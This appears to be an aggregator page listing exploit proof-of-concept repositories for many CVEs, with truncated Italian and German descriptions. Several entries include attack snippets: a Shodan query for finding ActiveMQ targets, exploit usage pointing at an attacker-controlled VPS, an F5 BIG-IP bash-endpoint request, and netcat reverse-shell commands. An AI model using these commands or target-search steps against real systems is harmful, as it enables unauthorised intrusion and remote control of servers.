CVE-2022-26134

CVE-2022-26134 - Vulnerabilità di injection OGNL. Script proof of concept che sfrutta la vulnerabilità di esecuzione di codice remoto che interessa i prodotti Atlassian Confluence 7.18 e versioni precedenti. La vulnerabilità di injection OGNL consente a un utente non autenticato di eseguire codic...

CVE-2023-46604

CVE-2023-46604 Exploit für CVE-2023-46604 Dieses Tool hilft, diese Schwachstelle auszunutzen. Shodan-Abfrage zum Finden von Zielen: product:"ActiveMQ" port:"61616" Verwendung des Tools: zum Lesen von Zielen aus der Datei: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- einzelnes Ziel:...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 - Bypass dell'autenticazione e RCE in F5 BIG-IP iControl REST. POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server,...

CVE-2026-34197

CVE-2026-34197 CVE-2026-34197 activemq PoC PoC per ActiveMQ come descritto nel post di Horizon3 https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ krasn@icestorm cve-2026-34197-activemq % docker compose up -d krasn@icestorm cve-2026-34197-activemq % python3...

CVE-2020-11932

CVE-2020-11932 Bug di double-free nel PoC dell'exploit di WhatsApp. Nota: assicurati di impostare l'IP del listener in exploit.c per ottenere una shell. nc -lvp 1337 o qualsiasi porta. e poi compila. make oppure gcc -o exploit egiflib.c exploit.c poi esegui ./exploit e salva il contenuto in .gif ...

CVE-2021-41773

CVE-2021-41773 Un pacchetto Zeek che genera notifiche per Path Traversal/RCE in Apache HTTP Server 2.4.49 CVE-2021-41773 e 2.4.50 CVE-2021-42013 Riferimenti https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-4201...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / Esecuzione di codice remoto CVE-2019-18873, CVE-2019-18839 Sono state trovate multiple vulnerabilità XSS persistenti in FUDforum 3.0.9 che possono portare a esecuzione di codice remoto. XSS persistente tramite nome utente nel forum: Informazioni |...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition Remote Code Execution CVSS 9.8 Critical | Unsafe File Operations → Log Poisoning → Phar Deserialization → RCE Übersicht Laravel Ignition -c "whoami" Referenzen NVD — CVE-2021-3129 Ignition Patch 2.5.2...

CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails prima della versione 3.2.22.2, 4.x prima della 4.1.14.2 e 4.2.x prima della 4.2.5.2 consente a un attaccante remoto di eseguire codice Ruby arbitrario sfruttando l'uso illimitato del metodo render da parte dell'applicazione...

CVE-2025-48703

🛡️ CVE-2025-48703 - Remote Code Execution RCE im cPanel Dateimanager 📌 Beschreibung CVE-2025-48703 ist eine Remote Code Execution RCE-Sicherheitslücke im filemanager-Modul eines Webhosting-Kontrollpanels z.B. cPanel. Sie tritt aufgrund einer nicht bereinigten Eingabeverarbeitung in der...

CVE-2024-43918

Wordpress WBW Product Table Pro = 1.9.4 - Esecuzione SQL arbitraria non autenticata a esecuzione di codice remoto CVE-2024-43918 Il plugin WBW Product Table Pro per WordPress è vulnerabile a esecuzione SQL arbitraria non autorizzata a causa di una mancanza di controllo delle capacità su una...

cve-2024-21534

POC - CVE-2024-21534 Jsonpath-plus vulnerabile a Remote Code Execution RCE a causa di una sanificazione inadeguata dell'input Panoramica CVE-2024-21534 è una vulnerabilità critica riscontrata nelle versioni del pacchetto jsonpath-plus precedenti alla versione 10.0.0. La vulnerabilità deriva da un...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP für Python in einem Schritt vollständig Verwendung: Python3 exploit.py -t -c Tipps: Kein Echo Beispiel： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' dann erhältst du eine Shell...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache Druid CVE-2021-25646 strumento di rilevamento e sfruttamento della vulnerabilità di esecuzione remota di codice Inserisci dominio o IP:porta per eseguire la scansione della vulnerabilità Per i target vulnerabili, è possibile sfruttare l'esecuzione di comandi Supporta...

Centreon-RCE

Centreon-RCE Centreon v.19.04 exploit di Remote Code Execution CVE-2019-13024 Revisione di https://github.com/mhaskar/CVE-2019-13024 COME USARE: 1. Modifica i valori predefiniti degli argomenti per comodità, oppure no in fondo allo script 2. Se necessario, modifica la funzione 'editcommand' per...

CVE-2023-50643

CVE-2023-50643 CVE-2023-50643 Ein Problem in Evernote für MacOS v.10.68.2 ermöglicht es einem entfernten Angreifer, beliebigen Code über die Komponenten RunAsNode und enableNodeClilnspectArguments auszuführen. Es gibt ein Tool, das entwickelt wurde, um die Suche nach Schwachstellen in Electron zu...

CVE-2025-6218-WinRAR-Directory-Traversal-RCE

CVE-2025-6218-WinRAR-Directory-Traversal-RCE CVE-2025-6218 è una vulnerabilità di directory traversal in WinRAR che consente a un attaccante di posizionare file al di fuori della directory di estrazione prevista quando un utente estrae un archivio .rar appositamente creato. Sfruttando questa fall...

Zimbra-RCE

Zimbra-RCE Zimbra RCE CVE-2019-9670 $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670 optional arguments:...

cve-2021-1647

CVE-2021-1647 Vulnerabilità di esecuzione remota del codice in Microsoft Defender INFORMAZIONI Password:infected...

CVE-2023-43284

CVE-2023-43284 Esecuzione di codice remota autenticata su DLink Modello DIR-846. Questa falla abusa del parametro POST QoS nel router per sfruttare un'Esecuzione di Codice Remota Autenticata. Non richiede che QoS sia abilitato! -h, --help show this help message and exit -x , --command Command to ...